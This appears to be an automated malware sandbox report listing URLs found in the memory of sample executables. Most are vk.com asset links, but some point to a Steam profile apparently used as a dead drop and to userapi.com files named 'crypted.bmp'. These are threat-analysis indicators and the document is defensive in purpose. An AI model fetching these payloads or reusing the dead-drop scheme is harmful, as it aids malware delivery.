Source: qk9TaBBxh8.exe, 00000000.00000003.2169098487.000001D70226D000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70226C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D7021B5000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2175170227.000001D702275000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174809957.000001D7022E1000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D702273000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/css/al/ui_common.4135db2f.css
Source: qk9TaBBxh8.exe, 00000000.00000003.2169098487.000001D70226D000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70226C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D7021B5000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2175170227.000001D702275000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174809957.000001D7022E1000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D702273000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/css/al/uncommon.6d51982c.css
Source: qk9TaBBxh8.exe, 00000000.00000003.2169098487.000001D70226D000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70226C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D7021B5000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2175170227.000001D702275000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174809957.000001D7022E1000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D702273000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/css/al/vk_sans_display.5625d45f.css
Source: qk9TaBBxh8.exe, 00000000.00000003.2169098487.000001D70226D000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70226C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D7021B5000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2175170227.000001D702275000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174809957.000001D7022E1000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D702273000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/css/al/vk_sans_display_faux.7d208ecb.css
Source: qk9TaBBxh8.exe, 00000000.00000003.2169098487.000001D70226D000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70226C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2175246907.000001D7021AC000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D7021B5000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D702273000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2169327203.000001D70213F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/css/al/vkui.43318ab6.css
Source: qk9TaBBxh8.exe, 00000000.00000003.2169190202.000001D70219B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/css/fonts/VKSansDisplayDemiBold
Source: qk9TaBBxh8.exe, 00000000.00000003.2169098487.000001D70226D000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70226C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D7021B5000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2175170227.000001D702275000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174809957.000001D7022E1000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D702273000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/css/fonts/VKSansDisplayDemiBoldFaux.v100.woff2
Source: qk9TaBBxh8.exe, 00000000.00000003.2169098487.000001D70226D000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70226C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D7021B5000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2175170227.000001D702275000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174809957.000001D7022E1000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D702273000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/dist/web/chunks/audioplayer-lib.5f2a5c5d.js
Source: qk9TaBBxh8.exe, 00000000.00000003.2169098487.000001D70226D000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70226C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D7021B5000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2175170227.000001D702275000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174809957.000001D7022E1000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D702273000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/dist/web/chunks/audioplayer-lib.93b52d88.css
Source: qk9TaBBxh8.exe, 00000000.00000003.2169098487.000001D70226D000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70226C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D7021B5000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2175170227.000001D702275000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174809957.000001D7022E1000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D702273000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/dist/web/chunks/common.1a9638fd.js
Source: qk9TaBBxh8.exe, 00000000.00000003.2169098487.000001D70226D000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70226C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D7021B5000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2175170227.000001D702275000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174809957.000001D7022E1000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D702273000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/dist/web/chunks/react.759f82b6.js
Source: qk9TaBBxh8.exe, 00000000.00000003.2169098487.000001D70226D000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70226C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D7021B5000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2175170227.000001D702275000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174809957.000001D7022E1000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D702273000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/dist/web/chunks/state-management.c22f9f68.js
Source: qk9TaBBxh8.exe, 00000000.00000003.2169098487.000001D70226D000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70226C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D7021B5000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2175170227.000001D702275000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174809957.000001D7022E1000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D702273000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/dist/web/chunks/vkcom-kit-icons.826b9222.js
Source: qk9TaBBxh8.exe, 00000000.00000003.2169098487.000001D70226D000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70226C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D7021B5000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2175170227.000001D702275000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174809957.000001D7022E1000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D702273000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/dist/web/chunks/vkcom-kit.342340af.js
Source: qk9TaBBxh8.exe, 00000000.00000003.2169098487.000001D70226D000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70226C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D7021B5000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2175170227.000001D702275000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174809957.000001D7022E1000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D702273000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/dist/web/chunks/vkcom-kit.385e5148.css
Source: qk9TaBBxh8.exe, 00000000.00000003.2169098487.000001D70226D000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70226C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D7021B5000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2175170227.000001D702275000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174809957.000001D7022E1000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D702273000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/dist/web/chunks/vkui.847cc706.js
Source: qk9TaBBxh8.exe, 00000000.00000003.2169098487.000001D70226D000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70226C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D7021B5000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2175170227.000001D702275000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174809957.000001D7022E1000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D702273000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/dist/web/common_web.9d09fc5d.css
Source: qk9TaBBxh8.exe, 00000000.00000003.2169098487.000001D70226D000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70226C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D7021B5000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2175170227.000001D702275000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174809957.000001D7022E1000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D702273000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/dist/web/common_web.bb0c1fad.js
Source: qk9TaBBxh8.exe, 00000000.00000003.2169098487.000001D70226D000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70226C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D7021B5000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2175170227.000001D702275000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174809957.000001D7022E1000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D702273000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/dist/web/css_types.1bff1a5b.js
Source: qk9TaBBxh8.exe, 00000000.00000003.2169098487.000001D70226D000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70226C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D7021B5000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2175170227.000001D702275000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174809957.000001D7022E1000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D702273000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/dist/web/docs.20074c02.css
Source: qk9TaBBxh8.exe, 00000000.00000003.2169098487.000001D70226D000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70226C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D7021B5000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2175170227.000001D702275000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174809957.000001D7022E1000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D702273000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/dist/web/docs.819ef167.js
Source: qk9TaBBxh8.exe, 00000000.00000003.2169098487.000001D70226D000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70226C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D7021B5000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2175170227.000001D702275000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174809957.000001D7022E1000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D702273000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/dist/web/error_monitoring.isolated.3df2967b.js
Source: qk9TaBBxh8.exe, 00000000.00000003.2169098487.000001D70226D000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70226C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D7021B5000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2175170227.000001D702275000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174809957.000001D7022E1000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D702273000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/dist/web/grip.0b3b493f.js
Source: qk9TaBBxh8.exe, 00000000.00000003.2169098487.000001D70226D000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70226C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D7021B5000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2175170227.000001D702275000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174809957.000001D7022E1000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D702273000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/dist/web/jobs_devtools_notification.14f96f02.js
Source: qk9TaBBxh8.exe, 00000000.00000003.2169098487.000001D70226D000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70226C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D7021B5000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2175170227.000001D702275000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174809957.000001D7022E1000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D702273000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/dist/web/likes.08bf71a4.js
Source: qk9TaBBxh8.exe, 00000000.00000003.2169098487.000001D70226D000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70226C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D7021B5000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2175170227.000001D702275000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174809957.000001D7022E1000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D702273000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/dist/web/likes.20074c02.css
Source: qk9TaBBxh8.exe, 00000000.00000003.2169098487.000001D70226D000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70226C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D7021B5000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2175170227.000001D702275000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174809957.000001D7022E1000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D702273000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/dist/web/page_layout.7b5800c2.js
Source: qk9TaBBxh8.exe, 00000000.00000003.2169098487.000001D70226D000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70226C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D7021B5000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2175170227.000001D702275000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174809957.000001D7022E1000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D702273000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/dist/web/performance_observers.4d12f60f.js
Source: qk9TaBBxh8.exe, 00000000.00000003.2169098487.000001D70226D000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70226C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D7021B5000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2175170227.000001D702275000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174809957.000001D7022E1000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D702273000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/dist/web/polyfills.isolated.edaffb7b.js
Source: qk9TaBBxh8.exe, 00000000.00000003.2169098487.000001D70226D000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70226C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D7021B5000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2175170227.000001D702275000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174809957.000001D7022E1000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D702273000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/dist/web/raven_logger.ea0a2239.js
Source: qk9TaBBxh8.exe, 00000000.00000003.2169098487.000001D70226D000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70226C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D7021B5000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2175170227.000001D702275000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174809957.000001D7022E1000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D702273000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/dist/web/site_layout.20074c02.css
Source: qk9TaBBxh8.exe, 00000000.00000003.2169098487.000001D70226D000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70226C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D7021B5000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2175170227.000001D702275000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174809957.000001D7022E1000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D702273000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/dist/web/site_layout.625c2925.js
Source: qk9TaBBxh8.exe, 00000000.00000003.2169098487.000001D70226D000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70226C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D7021B5000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2175170227.000001D702275000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174809957.000001D7022E1000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D702273000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/dist/web/ui_common.20074c02.css
Source: qk9TaBBxh8.exe, 00000000.00000003.2169098487.000001D70226D000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70226C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D7021B5000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2175170227.000001D702275000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174809957.000001D7022E1000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D702273000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/dist/web/ui_common.b828980c.js
Source: qk9TaBBxh8.exe, 00000000.00000003.2169098487.000001D70226D000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70226C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D7021B5000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2175170227.000001D702275000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174809957.000001D7022E1000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D702273000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/dist/web/unauthorized.20074c02.css
Source: qk9TaBBxh8.exe, 00000000.00000003.2169098487.000001D70226D000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70226C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D7021B5000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2175170227.000001D702275000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174809957.000001D7022E1000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D702273000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/dist/web/unauthorized.f646a9e2.js
Source: qk9TaBBxh8.exe, 00000000.00000003.2169098487.000001D70226D000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70226C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D7021B5000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2175170227.000001D702275000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174809957.000001D7022E1000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D702273000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://st6-23.vk.com/dist/web/vk_sans_observer.fb28db65.js
Source: qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70224A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://static.vk.me
Source: qk9TaBBxh8.exe, 00000000.00000003.2169098487.000001D70226D000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70226C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D7021B5000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D702273000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2169327203.000001D70213F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://stats.vk-portal.net
Source: FSYOvyvMMT80PCsMousFK1Xa.exe, 0000000B.00000002.2435161937.000000000025E000.00000004.00000001.01000000.00000007.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199673019888
Source: FSYOvyvMMT80PCsMousFK1Xa.exe, 0000000B.00000002.2435161937.000000000025E000.00000004.00000001.01000000.00000007.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199673019888ve74rMozilla/5.0
Source: qk9TaBBxh8.exe, 00000000.00000003.2169190202.000001D7021A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sun6-21.userapi.com/c236331/u5294803/docs/d24/ef46b35f8bf1/imgdrive_2_1.bmp?extra=bkM2v2_xSr
Source: qk9TaBBxh8.exe, 00000000.00000003.2175246907.000001D7021A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sun6-22.userapi.com/c909518/u5294803/docs/d23/f3f574557e5d/crypted.bmp?extra=OZKsfqLr82JxeKr
Source: eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000002.2819469412.00000000013BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.I
